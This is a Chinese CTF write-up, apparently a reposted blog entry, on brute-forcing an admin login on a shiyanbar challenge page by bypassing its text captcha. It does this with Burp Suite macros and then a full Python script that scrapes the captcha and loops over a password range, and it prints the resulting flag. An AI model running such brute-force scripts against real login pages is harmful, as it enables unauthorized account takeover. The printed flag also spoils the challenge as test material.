记一次渗透测试(1)

一.http://ctf3.shiyanbar.com/just/index.php

1.用火狐浏览器打开页面:

(注:linux的截图按键可以直接用alt+PrintScreen截取当前的活动窗口,按shift+PrintScreen可以选定区域截图,截图会自动保存在图片目录下)

2. 观察该页面,查看网页源码发现提示。

3.进入该页面:http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php

发现登陆框,并且带有验证码。

4. 用户名锁定为admin,尝试弱口令admin123456password等均无法进入。

而且发现每次进入后验证码都会变化,并没有一定的规律。目测无法忽视验证码爆破。

这里会返回密码错误,验证码错误的界面。

5. 所以需要对验证码进行获取再利用bp或者脚本进行爆破。这里查看一下网页源代码,看一下验证码的类型。

可以发现验证码的类型是text类型,这样还很好获取,而且发现了提示,密码位于1111112111之间。(可以用python或者任何一门语言,很简单的循环生成数字输出到txt文件中就可以生成一个密码表)

第一种方法:

burpsuite设置宏(macro)的方式来进行绕过验证码爆破。

(这里因为kaliburp有些问题,就在windows中操作)

(1)首先打开burpsuite,然后点击project options 选择 sessions拉到最下面就会看见Macros

 

(2) 点击Add,这时候会弹出两个窗口,一个是Macro Recorder,一个是Macro Editor

(3)Macro Recorder中上方显示的是我们的历史浏览记录,我们需要找到我们刚才登的网站,如果没有的话就抓一次包,就会出现。选中点击OK即可。自动回到Macro Editor

4)然后我们选中网页,点击 Configure item 弹出下面的窗口 点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

5)点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

 

(6)点击ok,回到界面继续点击ok,我们就完成了这个Macro的配置。接下来需要让burp自动调用该Macro,并替换请求的randcode的值。切回project options的选项卡,找到Session Handling Rules

(7)点击add然后在下方的Rule Actions点击Add并选择run as a macro

(8)这里选择 Update only the following parameters 点击Edit 选择我们刚才添加的randcode,然后其他默认点击ok

 

(9)之后点击scope进行如下配置

(10)点击ok回到抓包,我们抓取一个包,并发送到intruder 载入密码表开始暴力破解

之后就很简单了,我们只要找到返回长度不一样的看一下它的response就可以找到flag了。

(错误的会提示密码错误)

第二种方法(脚本):

因为是刚开始接触python,所以注释写的尽量复杂,代码还不够优化。

 1 import requests
 2 #导入requests包 该包是python实现网络请求的最重要的包之一
 3 
 4 import re
 5 #导入re包  该包负责正则表达式
 6 
 7 from requests.exceptions import RequestException
 8 #这句话的意思是调用Request包中的错误抛出方法 方便我们查看错误以及调试
 9 
10 # 第一次获取验证码的方法
11 
12 def D(s):
13     url = "http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php"
14     #这里设置url为我们要获取信息的网址
15     html = s.get(url)
16     #get方法可以获取url的所有内容
17     r = html.text.encode('ISO-8859-1').decode(html.apparent_encoding)
18     pattern = re.compile(r'(\d)(\d)(\d)')#这里的验证码为三个整形数 /d含义是0-9的数字
19     # 找到r中的所有匹配的结果,将正则表达式的字符串形式编译为Pattern实例
20     code = pattern.findall(r)
21     randcode = code[0][0] + code[0][1] + code[0][2]
22     return randcode
23 
24 #获取返回页面的信息
25 def get_one_page(url, s):
26     try:
27 
28         response = s.get(url=url)
29 
30         if response.status_code == 200:
31             r = response.text
32             print('------------------------------------')
33             b = r.encode('ISO-8859-1').decode(response.apparent_encoding)
34             if (len(b) != 145):
35                 print(b)
36 
37         return None
38 
39     except RequestException:
40 
41         return None
42 
43 
44 def main():
45     i= 1
46 
47     for j in range(1, 3):
48 
49             for k in range(0, 10):
50 
51                 for m in range(0, 10):
52 
53                     for n in range(0, 10):
54                         payload = '{0}{1}{2}{3}{4}'.format(i, j, k, m, n)
55                         #format为字符串格式化方法,就可以使数字排列正确。
56 
57                         print(payload)
58 
59                         s = requests.session()
60                         #获取session,请求网页时需要用到session id
61 
62                         s.get("http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php")
63                         #获取页面信息
64                         randcode = D(s)
65                         #调用获取验证码的方法
66                         url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php?username=admin&password={0}&randcode={1}'\
67                             .format(
68                             payload, randcode) #将payload 和 randcode带入到拼凑的url中
69 
70                         #该url由网页的url和三个参数进行拼凑,
71                         get_one_page(url, s)
72                         #调用显示返回页面信息的方法
73 
74 if __name__ == '__main__':
75     main()
76 #一直执行

之后开始执行,python的速度真的很快。

我们可以把控制台的输出结果ctrl+a ,然后ctrl+c复制粘贴到文本文档中。

回复的一般都是密码错误,所以没有密码错误的就是我们想要得到的。

可以用word的编辑查找功能。(一个一个看也可以,后来才知道查找flag就可以)

11713

------------------------------------

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>9s81jWjd98YU</title>

</head>

<body>

<br>

<br>

<center><h3>flag{c369af821e667}</h3></center>

猜你喜欢

转载自www.cnblogs.com/lixiaoyao123/p/9671323.html